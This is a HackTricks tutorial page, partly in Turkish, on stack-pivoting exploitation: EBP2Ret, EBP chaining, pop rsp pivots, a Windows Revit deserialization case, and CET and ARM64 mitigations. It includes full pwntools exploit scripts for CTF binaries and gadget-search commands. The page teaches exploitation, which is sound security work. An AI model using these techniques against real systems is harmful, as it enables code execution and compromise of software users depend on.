Stack Pivoting - EBP2Ret - EBP chaining
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Basic Information
Bu teknik, çerçeve işaretçisi ve leave; ret talimat dizisinin dikkatli kullanımıyla birden fazla fonksiyonun yürütmesini zincirlemek için Base Pointer (EBP/RBP)’ı manipüle etme yeteneğinden yararlanır.
Hatırlatma olarak, x86/x86-64 üzerinde leave şu ile eşdeğerdir:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
And as the saved EBP/RBP is in the stack before the saved EIP/RIP, it’s possible to control it by controlling the stack.
Notlar
- On 64-bit, replace EBP→RBP and ESP→RSP. Semantics are the same.
- Some compilers omit the frame pointer (see “EBP might not be used”). In that case,
leavemight not appear and this technique won’t work.
EBP2Ret
This technique is particularly useful when you can alter the saved EBP/RBP but have no direct way to change EIP/RIP. It leverages the function epilogue behavior.
If, during fvuln’s execution, you manage to inject a fake EBP in the stack that points to an area in memory where your shellcode/ROP chain address is located (plus 8 bytes on amd64 / 4 bytes on x86 to account for the pop), you can indirectly control RIP. As the function returns, leave sets RSP to the crafted location and the subsequent pop rbp decreases RSP, effectively making it point to an address stored by the attacker there. Then ret will use that address.
Note how you need to know 2 addresses: the address where ESP/RSP is going to go, and the value stored at that address that ret will consume.
Exploit Construction
First you need to know an address where you can write arbitrary data/addresses. RSP will point here and consume the first ret.
Then, you need to choose the address used by ret that will transfer execution. You could use:
- Geçerli bir ONE_GADGET address.
- The address of
system()followed by the appropriate return and arguments (on x86:rettarget =&system, then 4 junk bytes, then&"/bin/sh"). - The address of a
jmp esp;gadget (ret2esp) followed by inline shellcode. - Yazılabilir bellekte sahnelenmiş bir ROP chain.
Remember that before any of these addresses in the controlled area, there must be space for the pop ebp/rbp from leave (8B on amd64, 4B on x86). You can abuse these bytes to set a second fake EBP and keep control after the first call returns.
Off-By-One Exploit
There’s a variant used when you can only modify the least significant byte of the saved EBP/RBP. In such a case, the memory location storing the address to jump to with ret must share the first three/five bytes with the original EBP/RBP so a 1-byte overwrite can redirect it. Usually the low byte (offset 0x00) is increased to jump as far as possible within a nearby page/aligned region.
It’s also common to use a RET sled in the stack and put the real ROP chain at the end to make it more probable that the new RSP points inside the sled and the final ROP chain is executed.
EBP Chaining
By placing a controlled address in the saved EBP slot of the stack and a leave; ret gadget in EIP/RIP, it’s possible to move ESP/RSP to an attacker-controlled address.
Now RSP is controlled and the next instruction is ret. Place in the controlled memory something like:
&(next fake EBP)-> Loaded bypop ebp/rbpfromleave.&system()-> Called byret.&(leave;ret)-> Aftersystemends, moves RSP to the next fake EBP and continues.&("/bin/sh")-> Argument forsystem.
This way it’s possible to chain several fake EBPs to control the flow of the program.
This is like a ret2lib, but more complex and only useful in edge-cases.
Moreover, here you have an example of a challenge that uses this technique with a stack leak to call a winning function. This is the final payload from the page:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
amd64 alignment tip: System V ABI requires 16-byte stack alignment at call sites. If your chain calls functions like
system, add an alignment gadget (e.g.,ret, orsub rsp, 8 ; ret) before the call to maintain alignment and avoidmovapscrashes.
EBP kullanılmayabilir
As explained in this post, if a binary is compiled with some optimizations or with frame-pointer omission, the EBP/RBP never controls ESP/RSP. Therefore, any exploit working by controlling EBP/RBP will fail because the prologue/epilogue doesn’t restore from the frame pointer.
- Optimize edilmemiş / frame pointer kullanılıyor:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Optimize edilmiş / frame pointer omitted:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
amd64’te genellikle leave ; ret yerine pop rbp ; ret görürsünüz, ancak frame pointer tamamen atlanırsa, pivot yapılabilecek rbp tabanlı bir epilog olmaz.
RSP’yi kontrol etmenin diğer yolları
pop rsp gadget
In this page bu teknikle ilgili bir örnek bulabilirsiniz. Bu challenge’da belirli 2 argümanla bir fonksiyon çağırılması gerekiyordu, ve bir pop rsp gadget vardı ve bir leak from the stack:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
ret2esp tekniğini buradan inceleyin:
pivot gadget’larını hızlıca bulma
Klasik pivot primitives araması için favori gadget finder’ınızı kullanın:
leave ; reton functions or in librariespop rsp/xchg rax, rsp ; retadd rsp, <imm> ; ret(oradd esp, <imm> ; reton x86)
Örnekler:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Klasik pivot staging deseni
Birçok CTF/exploit’te kullanılan sağlam bir pivot stratejisi:
- Küçük bir başlangıç overflow’u kullanarak
read/recvile büyük bir yazılabilir bölgeye (örn.,.bss, heap, veya mapped RW memory) çağrı yapın ve tam bir ROP chain’i oraya yerleştirin. - RSP’yi o bölgeye taşımak için bir pivot gadget’a (
leave ; ret,pop rsp,xchg rax, rsp ; ret) return edin. - Staged chain ile devam edin (örn., leak libc,
mprotectçağır, sonrareadile shellcode al, ardından ona atla).
Windows: Destructor-loop weird-machine pivots (Revit RFA case study)
Client-side parser’lar bazen, saldırgan kontrollü obje alanlarından türetilen bir function pointer’ı dolaylı olarak çağıran destructor loop’lar uygular. Eğer her iterasyon tam olarak bir dolaylı çağrı sunuyorsa (bir “one-gadget” machine), bunu güvenilir bir stack pivot ve ROP entry’ye dönüştürebilirsiniz.
Gözlemlendiği yer: Autodesk Revit RFA deserialization (CVE-2025-5037):
AStringtipindeki crafted objeler offset 0’da saldırgan byte’larına işaret eden bir pointer yerleştirir.- Destructor loop efektif olarak her obje için bir gadget çalıştırır:
rcx = [rbx] ; object pointer (AString*)
rax = [rcx] ; pointer to controlled buffer
call qword ptr [rax] ; execute [rax] once per object
İki pratik pivot:
- Windows 10 (32-bit heap addrs): hizalanmamış “monster gadget” içeren
8B E0→mov esp, eax, en sonundaret, call primitive’den heap tabanlı bir ROP zincirine pivot yapmak için. - Windows 11 (full 64-bit addrs): kısıtlı bir weird-machine pivot gerçekleştirmek için iki obje kullanın:
- Gadget 1:
push rax ; pop rbp ; ret(orijinal rax’i rbp’ye taşır) - Gadget 2:
leave ; ... ; ret(mov rsp, rbp ; pop rbp ; retolur), ilk objenin buffer’ına pivot yapar; burada geleneksel bir ROP zinciri takip eder.
- Gadget 1:
Windows x64 için pivot sonrası ipuçları:
- 0x20-byte shadow space’a saygı gösterin ve
callnoktalarından önce 16-byte hizalamayı koruyun. Literal’leri dönüş adresinin üzerine yerleştirmek velea rcx, [rsp+0x20] ; call raxgibi bir gadget kullanıp ardındanpop rax ; retile kontrol akışını bozmayacak şekilde stack adreslerini iletmek genellikle kullanışlıdır. - Non-ASLR helper modules (mevcutsa) stabil gadget havuzları ve
LoadLibraryW/GetProcAddressgibi import’lar sağlayarakucrtbase!systemgibi hedefleri dinamik olarak çözmenize yardımcı olur. - Yazılabilir thunk aracılığıyla eksik gadget’lar oluşturma: umut verici bir dizi, yazılabilir bir function pointer üzerinden bir
callile bitiyorsa (ör. DLL import thunk veya .data içindeki function pointer), o pointer’ıpop rax ; retgibi zararsız tek adımlık bir işlemin üstüne yazın. Dizi sonra sankiretile bitmiş gibi davranır (ör.mov rdx, rsi ; mov rcx, rdi ; ret), bu da diğerlerini bozmadan Windows x64 arg register’larını yüklemek için çok değerlidir.
Tam zincir oluşturma ve gadget örnekleri için aşağıdaki referansa bakın.
Stack pivoting’i bozan modern mitigasyonlar (CET/Shadow Stack)
Modern x86 CPU’lar ve OS’ler giderek daha fazla CET Shadow Stack (SHSTK) kullanıyor. SHSTK etkin olduğunda, ret normal stack’teki dönüş adresini donanım korumalı shadow stack ile karşılaştırır; herhangi bir uyuşmazlık Control-Protection fault tetikler ve işlemi sonlandırır. Bu nedenle EBP2Ret/leave;ret tabanlı pivotlar, pivot edilmiş stack’ten ilk ret yürütüldüğünde çökecektir.
- Arka plan ve daha derin detaylar için bakınız:
- Linux üzerinde hızlı kontroller:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
Laboratuvar/CTF notları:
-
Bazı modern dağıtımlarda, donanım ve glibc desteği varsa CET-etkin ikili dosyalar için SHSTK etkinleştirilir. VM’lerde kontrollü testler için SHSTK, kernel önyükleme parametresi
nousershstkile sistem genelinde devre dışı bırakılabilir veya başlatma sırasında glibc ayarlarıyla seçici olarak etkinleştirilebilir (bkz. referanslar). Üretim hedeflerinde mitigasyonları devre dışı bırakmayın. -
Bazı hedeflerde JOP/COOP veya SROP tabanlı teknikler halen işe yarayabilir, ancak SHSTK özellikle
ret-tabanlı pivotları bozar. -
Windows notu: Windows 10+ kullanıcı modunu açar ve Windows 11 gölge yığınlarına dayalı kernel modu için “Hardware-enforced Stack Protection” ekler. CET-uyumlu süreçler
retsırasında stack pivoting/ROP’u engeller; geliştiriciler CETCOMPAT ve ilgili politikalar aracılığıyla opt-in yaparlar (bkz. referans).
ARM64
ARM64’te, fonksiyonların prologue ve epilogları SP kaydını yığında depola ve geri almıyor. Ayrıca RET talimatı SP’nin işaret ettiği adrese dönmez, bunun yerine x30 içindeki adrese döner.
Bu nedenle, varsayılan olarak sadece epilogu kötüye kullanarak yığın içindeki bazı verileri üzerine yazarak SP kaydını kontrol edemezsiniz. Ve SP’yi kontrol etmeyi başarsanız bile hala x30 kaydını kontrol etmenin bir yoluna ihtiyacınız olur.
- prologue
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
- epilogue
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
Caution
ARM64’te stack pivoting’e benzer bir şey yapmak için,
SP’yi kontrol edebilmek gerekir (değeriSP’ye aktarılan bir kaydı kontrol ederek veya SP bir sebepten yığından adresini alıyorsa ve bir overflow varsa) ve ardından epilogu kötüye kullanarak kontrol edilen birSP’denx30kaydını yükleyip onaRETyapmak.
Ayrıca aşağıdaki sayfada ARM64’teki Ret2esp eşdeğerini görebilirsiniz:
Referanslar
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bit, ret sled ile başlayan bir ROP zinciriyle off-by-one sömürülemesi
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bit, relro, canary, nx ve pie yok. Program stack veya pie için bir leak ve bir qword için bir WWW (write-what-where) sağlar. Önce stack leak’ini elde edip WWW’yi kullanarak geri dönüp pie leak’ini alın. Ardından WWW’yi kullanarak
.fini_arraygirdilerini kötüye kullanıp__libc_csu_fini’yi çağırarak sonsuz bir döngü oluşturun (daha fazla bilgi burada). Bu “sonsuz” yazmayı kötüye kullanarak .bss’e bir ROP zinciri yazılır ve RBP ile pivot yapılarak çağrılır. - Linux çekirdek dokümantasyonu: Control-flow Enforcement Technology (CET) Shadow Stack — SHSTK,
nousershstk,/proc/$PID/statusbayrakları vearch_prctlile etkinleştirme ayrıntıları. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
- Crafting a Full Exploit RCE from a Crash in Autodesk Revit RFA File Parsing (ZDI blog)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
HackTricks

